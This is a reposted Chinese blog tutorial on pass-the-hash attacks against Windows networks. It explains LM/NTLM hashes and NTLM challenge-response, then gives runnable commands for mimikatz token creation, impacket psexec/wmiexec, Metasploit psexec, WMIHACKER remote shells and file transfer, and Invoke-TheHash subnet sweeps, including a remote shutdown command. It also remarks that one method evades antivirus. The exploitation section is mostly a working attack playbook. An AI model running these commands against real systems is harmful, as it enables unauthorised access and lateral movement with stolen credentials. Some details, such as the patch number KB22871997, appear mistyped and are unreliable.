0


pth(pass the hash)哈希传递攻击

一.前言

pth

(pass-the-hash)哈希传递攻击在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过

LM Hash

NTLM Hash

访问远程主机或服务,而不用提供明文密码

这类攻击适用于:

  • 域/工作组环境
  • 账号hash
  • 内网中存在和当前机器相同的密码

(ps:微软打了KB22871997补丁后只有Administrator(SID 500)可以PTH成功,默认windows server 2012后都会存在补丁)
注意:打了KB22871997补丁后,不是sid 500的用户,pth的时候会提示权限不足,如图所示:



二.NTLM认证

2.1 Lmhash和ntlmhash

正常

mimimatz

dump的hash如下:
格式:

user:sid:Lmhash:ntlmhash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Lmhash
  • 明文字段经过处理后使用des算法进行加密形成Lmhash
  • 密码小于15为字符才能生成lmhash 密文

由于Lmhash加密算法薄弱易被破解,微软从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash。
因为在vista后不再支持lmhash,所以后面版本的windows抓到的hash中的lmhash字段都是

aad3b435b51404eeaad3b435b51404ee

(空密码)

ntlmhash

为了解决lmhash强度不够的问题,微软推出了

ntlmhash


加密流程如下:

  1. 先将用户密码转换为十六进制格式
  2. 将十六进制格式的密码进行Unicode编码
  3. 使用MD4对Unicode编码数据进行Hash计算,形成ntmlhash密文字段

2.2 NTLM认证方式

NTLM认证采用质询/应答(Challenge/Response)的消息交换模式。NTLM既可用于域环境下的身份认证,也可以用于没有域的工作组环境。主要有本地认证和网络认证两种方式

本地认证

用户登陆windows时,windows首先会调用

winlogon.exe

进程接收用户输入的密码,之后密码会被传递给

lsass.exe

进程,进程会先在内存中存储一份明文密码,并将密码加密为NTLM hash,与本地SAM数据库中用户的NTLM hash对比,一致则登陆成功

网络认证

以域环境中NTLM网络认证流程举例:

  1. 首先用户输入正确用户密码登陆到客户端主机,用户想要访问某个服务器的服务,客户端先发送一个包含用户名明文的数据包给服务器,发起认证请求;
  2. 服务器生成一个随机数,称为Challenge,返回给客户端;
  3. 客户端接收到Challenge后,用密码hash加密,生成Response(net-ntlmhash),发送给服务;
  4. 服务将Response、用户名、Challenge发送给域控验证。域控使用本地数据库(NTDS.dit)中保存的对应用户的NTLM hash对Challenge进行加密,得到的结果与Response进行对比,一致则认证成功。然后将认证结果返回给服务端;

2.3 ntlm认证流程


1、客户端向服务端发起认证
2、服务器收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。并使用登录用户密码hash加密Challenge,获得Challenge1
3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得response

Challenge2

(这个结果被称为

net-ntlmhash

),将response发送给服务器。其中

net-ntlmhash

字段可以做hash破解和relay攻击。
4、服务器接收客户端加密后的response,比较Challenge1和Challenge2,如果相同,验证成功
response:

三.利用

3.1 利用

mimikatz

进行hash传递

privilege::debug 
#/domain:目标地址,/ntlm参数需要为ntlmhash值
#创建访问令牌
sekurlsa::pth /user:administrator /domain:192.168.4.26 /ntlm:47bf8039a8506cd67c524a03ff84ba4e

会重新打开本地的cmd窗口,pth成功无需认证建立ipc共享,可以使用psexec或者wmi进行远程命令执行

cobaltstrike

会话中,也可以先利用mimikatz创建访问令牌,然后使用

steal_token

窃取令牌获取权限

3.2 利用impacket套件

https://github.com/SecureAuthCorp/impacket

#-hashes Lmhash:ntlmhash
#只用445端口,会创建服务,命令执行结束后会删除服务
python psexec.py -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e  [email protected]   "ipconfig"
python smbexec.py -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e  [email protected]
#用445和135端口,通过wmic方式执行命令
python wmiexec.py -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e  [email protected]   "ipconfig"


3.3 metasploit psexec模块

metasploit

有二个pse的模块

exploit/windows/smb/psexec
#Powershell 版本的 psexec
exploit/windows/smb/psexec_psh

metasploit获取到目标的session会话后,可通过添加路由表,让

metasploit

的网络通过已获取到的主机(session)出去
msf添加路由表:

利用psh模块进行hash传递攻击

#smbpass参数可以为明文,也可以为hash。当为hash的时候,格式为Lmhash:ntlmhash
set smbpass f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e

3.4 WMIHACKER套件

WMIHACKER

WMIHACKER

用的是135端口,wmic方式执行命令

#有命令回显执行方式
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
#无命令回显
 cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
#模拟shell模式
cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!" 
#文件上传-复制本机calc.exe到远程主机c:\calc.exe
cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
#文件下载-下载远程主机calc.exe到本地c:\calc.exe
cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe" 
#使用hash进行认证,需要配合mimikatz的pth功能进行使用。先使用mimikataz创建访问令牌。
 cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 - - "systeminfo > c:\1.txt" 0

利用获取到的的账号密码进行pth

**利用

ntlm hash

进行pth**
利用

ntlm hash

进行pth的时候,先使用

mimikatz

创建访问令牌

**利用

ntlm hash

进行pth,获取shell会话**

可以绕过杀软,经测试360没有反应

3.5 Invoke-TheHash

https://github.com/Kevin-Robertson/Invoke-TheHash
模块参数说明:

1.Invoke-TheHash模块

#-TargetExclude:要排除的IP地址
#-Domain:域名,如果是工作组可以省略该参数
#-Hash:指定的hash指,类型可以为ntlm或LM:ntlm
#-type:指定调用的函数,值:SMBClient,SMBEnum,SMBExec,WMIExec
powershell -exec bypass     //进入powershell窗口。exec bypass表示将powershell的执行策略设置为bypass,运行任何脚本运行。相当于get-ExecutionPolicy ByPass
import-module .\Invoke-TheHash.ps1      //加载模块Invoke-TheHash.ps1
import-module .\Invoke-WMIExec.ps1      //加载模块Invoke-WMIExec.ps1
#通过Invoke-TheHash模块调用WMIExec函数
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0  -Command "whoami" -verbose

2.Invoke-WMIExec模块

powershell -exec bypass
import-module .\Invoke-WMIExec.ps1 
#直接使用Invoke-WMIExec模块,通过wmic方式无回显执行命令,用135端口
Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "whoami" -verbose

3.Invoke-SMBExec模块

powershell -exec bypass
import-module .\Invoke-SMBExec.ps1
#使用 invoke-smbexec模块函数,通过smb方式无回显执行命令,用445端口
 invoke-smbexec -Target 192.168.247.177 -username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "shutdown -s -t 800" -verbose

4.Invoke-SMBEnum模块

powershell -exec bypass
import-module .\Invoke-SMBEnum.ps1
#使用Invoke-SMBEnum模块函数,通过smb 2.1协议枚举所有的共享和用户信息
 invoke-SMBEnum -Target 192.168.247.177 -username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "ipconfig" -verbose

5.Invoke-SMBClient模块

用于操作主机上的共享目录

四. 杀软

当目标主机存在杀软的时候,杀软会拦截
1.psexec

psexec

的时候会落地文件,创建服务


2.wmic


本文转载自: https://blog.csdn.net/weixin_42282667/article/details/127228832
版权归原作者 supdon 所有, 如有侵权,请联系我们删除。

“pth(pass the hash)哈希传递攻击”的评论:

还没有评论